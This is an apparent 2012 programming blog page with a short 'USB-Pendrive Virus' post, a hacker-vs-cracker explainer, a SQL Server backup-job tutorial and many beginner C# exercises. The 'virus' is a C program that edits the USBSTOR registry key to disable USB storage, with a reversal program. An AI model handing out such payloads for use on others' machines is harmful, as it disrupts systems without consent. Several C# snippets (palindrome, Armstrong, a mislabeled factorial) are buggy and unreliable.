Monday, 10 December 2012

USB-Pendrive Virus Creating



USB-Pendrive Virus


Virus is a program which infects computer, in different way. I am explaining about a Virus Which can easily be made in C or C++, ,When we have run .exe file of this Pendrive-usb virus then when we connect pendrive with our computer usb,it will not be connected. Operating System would not be able to detect pendrive.
Code is written to directly change the usb registry option and change its key. Not going to explain about registry in detail now, later will explain.
1. Creating usb-pendrive Virus :-
o    Install Turbo C or C++
o    Open TC.exe and there write the coding
#include<stdio.h>
void main()
{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet
\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
o    Above Line system("....................."); it is in one Line

o    Save The Above Program as usbblock.c or any other name.
o    Compile and Run the above Program
o    Congratulation! you are succesfull to create the usb-pendrive Virus
o    Now go to drive where C is installed (Open TC folder) and then BIN ,have that usb-pendrive virus usbblock.exe to be used..........
o    Run that usbblock.exe in your computer to test.
o    Attach Pendrive to your computer usb ....OH! Shit Pendrive doesn't get detected...virus
o    Dont infect any other computer as it is only for educational purpose.

2. To reverse the effect of USB-Pendrive Virus (Removal of that Virus) :-
o    Install Turbo C or C++
o    Open TC.exe and there write the coding
#include<stdio.h>
void main()
{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\
Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
o    Above Line system("....................."); it is in one Line

o    Save The Above Program as unblockusb.c or any other name.
o    Compile and Run the above Program
o    Congratulation! you are succesfull to create .exe file to unblock USB
o    Now go to drive where C is installed (Open TC folder) and then BIN ,have that unblockusb.exe to be used..........
o    Run that unblockusb.exe to reverse the effect of usbblock.exe.

Who is Hacker

What is an Ethical Hacker





Ethical Hacker uses his skills to fight a perceived ethical battle against Cracker and Ethical hacker is a computer and network expert who attacks a security system on behalf of its owners, seeking vulnerabilities that a Cracker could exploit.

Hacker Vs Cracker



1. Hacker :- You Will be surprise to know that Hacker is a good person, as Hacker is someone who is able to manipulate the inner working of Computers,Information and Technology.
But because of media, name of Hacker is Spoiled
2. Cracker :-In security Community, a cracker is someone who breaks encryption and copy protection Schemes. They are mailicious programmers.

Similarity of both is that both are very smart people who have in depth-understanding of computer systems and can accurately analyse a difficulty to solve problem.

Friday, 7 December 2012

MS-SQL - Create Job in Sql Server 2008




MS-SQL - Create Job in Sql Server 2008
In this article i will show you how to create a Job in Sql Server 2008.

Step 1
Download Northwind database from the following link.
http://www.microsoft.com/downloads/details.aspx?FamilyID=06616212-0356-46a0-8da2-eebc53a68034&displaylang=en

Step 2
Attach a Northwind database into MS-SQL server.

Step 3
Expand the SQL Server Agent. You will see a Jobs folder over there. Right click on jobs and choose Add New. 



Step 4

Create a New Sql Server Agent Job.




New Job creation window shown above. Fill in the Name field with a unique name for your job. Specfy the account that you wish to be the owner of the job in the Owner text box. The job will run with the permissions of this account and may only be modified by the owner or sysadmin role members. 


Once you've specified a name and owner, choose one of the predefined job categories from the drop-down list. For example, you might choose the"Database Maintenance" category for routine maintenance jobs but for this example select only Uncategorized [local] only.


Finally, ensure that the Enabled box is checked.


Step 5

Enter the SQL Server Agent Job Steps Screen.




Next click on the ‘Steps’ pane on the left and you’ll be presented with this screen.  It’s blank because you haven’t created any steps yet.  So go ahead and click on the ‘New’ button at the bottom.


Step 6

Add SQL Server Agent Job Steps.



After Clicking  the New button to create a new job step and you will see the New Job Step window shown above.


Use the Step Name textbox to provide a descriptive name for the Step. 


Use the Database drop-down box to select the database that the job will act upon. 


Finally, use the Command textbox to provide the Transact-SQL syntax corresponding to the desired action for this job step. Once you have completed entering the command, click the Parse button to verify the syntax and then click on OK button.


In this job i am taking backup Northwind database to the disk.



       BACKUP DATABASE Northwind  
       TO DISK = 'd:\NorthwindBackUp.bak'  

Step 7

Create Schedule the SQL Server Agent Job.

To schedule your job, just click on ‘Schedules’ on the left and then choose the schedule that’s right for you then click on new button.

Step 8
Add Schedule the SQL Server Agent Job.



After Clicking  the New button to create a new job schedule and you will see the New Job Schedule window shown above.

Provide a name for the schedule in the Name text box and choose a schedule type (One-time, Recurring, Start when SQL Server Agent Starts or Start When CPUs Become Idle) from the drop-down box. Then use the frequency and duration sections of the window to specify the job's parameters. When you are finished click OK to close the Schedule window and OK to create the job.

Your job is ready now.

Step 9
For the testing purpose execute job first time. 


Right Click on the Job and click on Start job at Step and you will see the Start Jobs window will open. 

Tuesday, 4 December 2012

Reverse Printing


Reverse Printing

         
 
            // Reverse Printing


            Console.WriteLine("Enter some digits to get there reverse");
            int a = int.Parse(Console.ReadLine());

            for (; a != 0; a = a / 10)
            {

                Console.Write(a % 10);

            }
            Console.ReadLine();

Prime Numbers till user defined Number


Prime Numbers till user defined Number

            // Prime Numbers till user defined Number

            Console.WriteLine("Enter a number to print prime number till");
            int b = int.Parse(Console.ReadLine());
            Console.WriteLine("2");

            for (int a = 3; a <= b; a++)
            {
                for (int i = 2; i <= a; i++)
                {

                    if (a % i == 0)
                    {
                        Console.Write("");
                        break;
                    }


                    if (i > a / 2)
                    {
                        Console.WriteLine(a);
                        break;
                    }

                }
            }

            Console.ReadLine();

Prime Numbers


Prime Numbers


            // Prime Numbers


            Console.WriteLine("Enter a number to check wheater is it Prime number or not");
            int a = int.Parse(Console.ReadLine());

            int i = 2;
            while (i <= a - 1)
            {

                if (a % i == 0)
                {
                    Console.WriteLine("It's a  not a Prime number");
                    break;
                }
                i++;
                if (a == i)
                {
                    Console.WriteLine("It's Prime number");
                }

            }
            Console.ReadLine();

polydrom number


polydrom number


            //polydrom number


            Console.WriteLine("Enter a number to check wheather It is polydrom or not");
            int a = int.Parse(Console.ReadLine());

            int j = 0;
            int h = 0;
            int k = 0;

            for (int i = a; i != 0; i = i / 10)
            {
                j = 0;
                j = i % 10;
                if (a == i)
                {
                    h = j * 10;

                }
                if (a != i)
                {
                    k = h + j;
                    h = k * 10;
                }




            }
            Console.WriteLine(k);
            if (k == a)
            {
                Console.WriteLine("yes");
            }
            else
            {
                Console.WriteLine("no");
            }



            Console.ReadLine();

Using user defined Method


Using user defined Method

            // Method user defined

            Console.WriteLine("Enter First Number");
            int a = int.Parse(Console.ReadLine());

            Console.WriteLine("Enter Second Number");
            int b = int.Parse(Console.ReadLine());

            Console.WriteLine("1-SUM");
            Console.WriteLine("2-SUBTRACTION");
            Console.WriteLine("3-MULTIPLICATION");
            Console.WriteLine("4-DEVISION");
            Console.WriteLine("5-MODE");

            int sum = a + b;
            int sub = a - b;
            int mul = a * b;
            double dev = a / b;
            int mod = a % b;

            Console.WriteLine();
            int c = int.Parse(Console.ReadLine());

            switch (c)
            {
                case 1:
                    Console.WriteLine(sum);
                    break;

                case 2:
                    Console.WriteLine(sub);
                    break;

                case 3:
                    Console.WriteLine(mul);
                    break;

                case 4:
                    Console.WriteLine(dev);
                    break;

                case 5:
                    Console.WriteLine(mod);
                    break;

                default:
                    Console.WriteLine("Enter the correct value");
                    break;

            }
            Console.ReadLine();
                     

Finding Greatest Number


Finding Greatest Number


                //Greatest Number




            Console.WriteLine("Enter First number");
            int a = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Enter Second number");
            int b = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Enter Third number");
            int c = Convert.ToInt32(Console.ReadLine());

            if (a == b && a == c)
            {
                Console.WriteLine("All numbers are same, nothing to compare");
            }

            else if (a > b && a > c)
            {
                Console.WriteLine("First Number is Greatest");
            }

            else if (b > a && b > c)
            {
                Console.WriteLine("Second Number is Greatest");
            }

            else
            {
                Console.WriteLine("Third Number is Greatest");
            }

            Console.ReadLine();


Marks Greade Checking


Marks Greade Checking

           //Marks Greade Checking



            Console.WriteLine("Enter your marks");
            int a = Convert.ToInt32(Console.ReadLine());

            if (a >= 85)
            {
                Console.WriteLine("Congrats Your Grade is A");
            }

            else if (a >= 75 && a <= 84)
            {
                Console.WriteLine("Congrats Your Grade is B");
            }

            else if (a >= 65 && a <= 74)
            {
                Console.WriteLine("Congrats Your Grade is C");
            }

            else if (a >= 50 && a <= 64)
            {

                Console.WriteLine("Congrats Your Grade is D");
            }

            else
            {
                Console.WriteLine("You are Failed, Practice hard to get passed");
            }

            Console.ReadLine();

fabonicci series


fabonicci series


            // fabonicci series


            Console.WriteLine("Enter a number to print fabonicci series till.");
            int a = int.Parse(Console.ReadLine());
            Console.WriteLine("fabonicci series till " + a + " is");
            int b = 0;
            int c = 1;

            Console.WriteLine(b);
            Console.WriteLine(c);
            for (int d = b + c; d <= a; d = b + c)
            {
                Console.WriteLine(d);
                b = c;
                c = d;
            }

            Console.ReadLine();


factorial


factorial

            // factorial

            Console.WriteLine("Enter a number to get factorial");
            int a = int.Parse(Console.ReadLine());
            int i = 1;
            int j = a;
            for (; a != 0; a--)
            {
                i = i * a;

            }
            Console.WriteLine("factorial of " + j + " is " + i);
            Console.ReadLine();




factorial



            // factorial


            Console.WriteLine("Enter a number to get factorial");
            int a = int.Parse(Console.ReadLine());

            for (; a != 0; a--)
            {
                Console.WriteLine(a);
            }
            Console.ReadLine();

Even odd number


Even odd number

            //Even odd number


            Console.WriteLine("Enter a Number to check Even Odd");
            int a = Convert.ToInt32(Console.ReadLine());

            if (a % 2 == 0)
            {
                Console.WriteLine("You have entered a even number");
            }
            else
            {
                Console.WriteLine("You have entered a odd number");
            }
            Console.ReadLine();

Printing Table with do while loop


Printing Table with do while loop


            //Table do while loop

         

            string c;

            do
            {
                Console.WriteLine("Enter a number to print table");
                int a = int.Parse(Console.ReadLine());

                Console.WriteLine("table of " + a + " is");

                int i = a;
                do
                {

                    Console.WriteLine(i);
                    i = i + a;
                }

                while (i <= a * 10);

             
 
                Console.WriteLine("Do You want to continue Y/N");
                c = Console.ReadLine();

                if(c!="Y" && c!="N")
                {
                    Console.WriteLine("Enter the correct value Y/N only");
                    Console.WriteLine("Do You want to continue Y/N");
                    c = Console.ReadLine();  
                }
             
 
            }
            while (c == "Y");

convart to paise


convart to paise

            //convart to paise

            Console.WriteLine("Enter an item price & get price in paise");
            double a = Convert.ToDouble(Console.ReadLine());

            Console.WriteLine(a * 100);
            Console.ReadLine();


Armstrong Number


Armstrong Number


            // Armstrong Number

            Console.WriteLine("Enter any Three digit number to know wheater is it Armstrong or not");
            int a = int.Parse(Console.ReadLine());
            int p;
            int q;
            int r = a;
            int s;
            while (a != 0)
            {
                p = a % 10;
                a = a / 10;

                while (a != 0)
                {
                    q = a % 10;
                    a = a / 10;

                    s = (p * p * p) + (q * q * q) + (a * a * a);

                    if (r == s)
                    {
                        Console.WriteLine("It's a ArmStrong Number");
                    }
                    else
                    {
                        Console.WriteLine("It's not a ArmStrong Number");
                    }
                    break;
                }

            }
            Console.ReadLine();

Addition of numbers


Addition of numbers

// Add all digits

            Console.WriteLine("Enter a number to get sum of all digits");
            int a = int.Parse(Console.ReadLine());
            int i = 0;
            int j = a;
            for (; a != 0; a = a / 10)
            {
                j = a % 10;
                i = i + j;

            }
            Console.WriteLine(i);
            Console.ReadLine();

Printing Table using while loop


Printing Table using while loop


            //Table while loop


            Console.WriteLine("Enter a number to print table");
            int a = int.Parse(Console.ReadLine());

            Console.WriteLine("table of " + a + " is");

            int i = a;
            while (i <= a * 10)
            {

                Console.WriteLine(i);
                i = i + a;
            }
            Console.ReadLine();

Getting day of week


Getting day of week

                    //sunday monday




                    Console.WriteLine("Enter series to get weekday");
                    int a = int.Parse(Console.ReadLine());
            switch (a)
            {
                    case 1:
                    Console.WriteLine("Sunday");
                    break;

                    case 2:
                    Console.WriteLine("Monday");
                    break;

                    case 3:
                    Console.WriteLine("Tuesday");
                    break;

                    case 4:
                    Console.WriteLine("Wednesnday");
                    break;

                    case 5:
                    Console.WriteLine("Thursday");
                    break;

                    case 6:
                    Console.WriteLine("Friday");
                    break;

                    case 7:
                    Console.WriteLine("Saturday");
                    break;

                default:
                    Console.WriteLine("Enter value 1 to 7 only");
                    break;
            }

            Console.ReadLine();


print number in words


print number in words

// print in words


            Console.WriteLine("Enter a number to check wheather It is polydrom or not");
            int a = int.Parse(Console.ReadLine());

            int j = 0;
            int h = 0;
            int k = 0;

            for (int i = a; i != 0; i = i / 10)
            {
                j = 0;
                j = i % 10;
                if (a == i)
                {
                    h = j * 10;

                }
                if (a != i)
                {
                    k = h + j;
                    h = k * 10;
                }

            }

            for (; k != 0; k = k / 10)
            {

                int s = k % 10;

                switch (s)
                {

                    case 0:
                        Console.Write("Zero ");
                        break;

                    case 1:
                        Console.Write("One ");
                        break;

                    case 2:
                        Console.Write("Two ");
                        break;

                    case 3:
                        Console.Write("Three ");
                        break;

                    case 4:
                        Console.Write("Four ");
                        break;

                    case 5:
                        Console.Write("Five ");
                        break;

                    case 6:
                        Console.Write("Six ");
                        break;

                    case 7:
                        Console.Write("Seven ");
                        break;

                    case 8:
                        Console.Write("Eight ");
                        break;

                    case 9:
                        Console.Write("Nine ");
                        break;

                    default:
                        Console.Write("Enter integer value only");
                        break;
                }

            }
            Console.ReadLine();

Printing Stars, blank spaces, numbers for making diagrams


Printing Stars, blank spaces, numbers for making diagrams

 Q1).........



            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = 1; row <= i; row++)
            {
                for (int col = 1; col <= row; col++)
                {
                    Console.Write(row);
                }
                Console.WriteLine();
            }

         
 
            Console.ReadLine();



         
 


            Q2)........

            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = 1; row <= i; row++)
            {
                for (int col = 1; col <= row; col++)
                {
                    Console.Write("$");
                }
                Console.WriteLine();
            }
            Console.ReadLine();


          


            Q3)........

            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = 1; row <= i; row++)
            {
                for (int col = 1; col <= row; col++)
                {
                    Console.Write(col);
                }
                Console.WriteLine();
            }
            Console.ReadLine();




            Q4)...........

            Console.WriteLine("Enter a number");
            int i = int.Parse(Console.ReadLine());

            for (int row = 1; row <= i; row++)
            {

                for (int sps = i - 1; sps >= row; sps--)
                {
                    Console.Write(" ");
                }

                for (int col = 1; col <= row; col++)
                {
                    Console.Write(row + " ");
                }
                Console.WriteLine();

            }
            Console.ReadLine();





            Q5)...........


            for (int row = 1; row <= 7; row = row + 2)
            {
                for (int sps = 5; sps >= row; sps = sps - 2)
                {
                    Console.Write(" ");

                }
                for (int col = 1; col <= row; col++)
                {
                    Console.Write("*");

                }


                Console.WriteLine();

            }
            Console.ReadLine();





            Q6)...........


            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = i; row >= 1; row--)
            {
                for (int sps = i; sps != row; sps--)
                {
                    Console.Write(" ");
                }
                for (int col = row; col >= 1; col--)
                {
                    Console.Write(col);
                }

                Console.WriteLine();
            }
            Console.ReadLine();





            Q7)

            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = i; row >= 1; row--)
            {
                for (int sps = i; sps != row; sps--)
                {
                    Console.Write(" ");
                }
                for (int col = row; col >= 1; col--)
                {
                    Console.Write(row);
                }

                Console.WriteLine();
            }
            Console.ReadLine();







            Q8)

            Console.WriteLine("Enter a number to print tringle");
            int i = int.Parse(Console.ReadLine());

            for (int row = i; row >= 1; row--)
            {
                for (int sps = i; sps != row; sps--)
                {
                    Console.Write(" ");
                }
                for (int col = i; col >= 1; col--)
                {
                    Console.Write("*");
                }

                Console.WriteLine();
            }
            Console.ReadLine();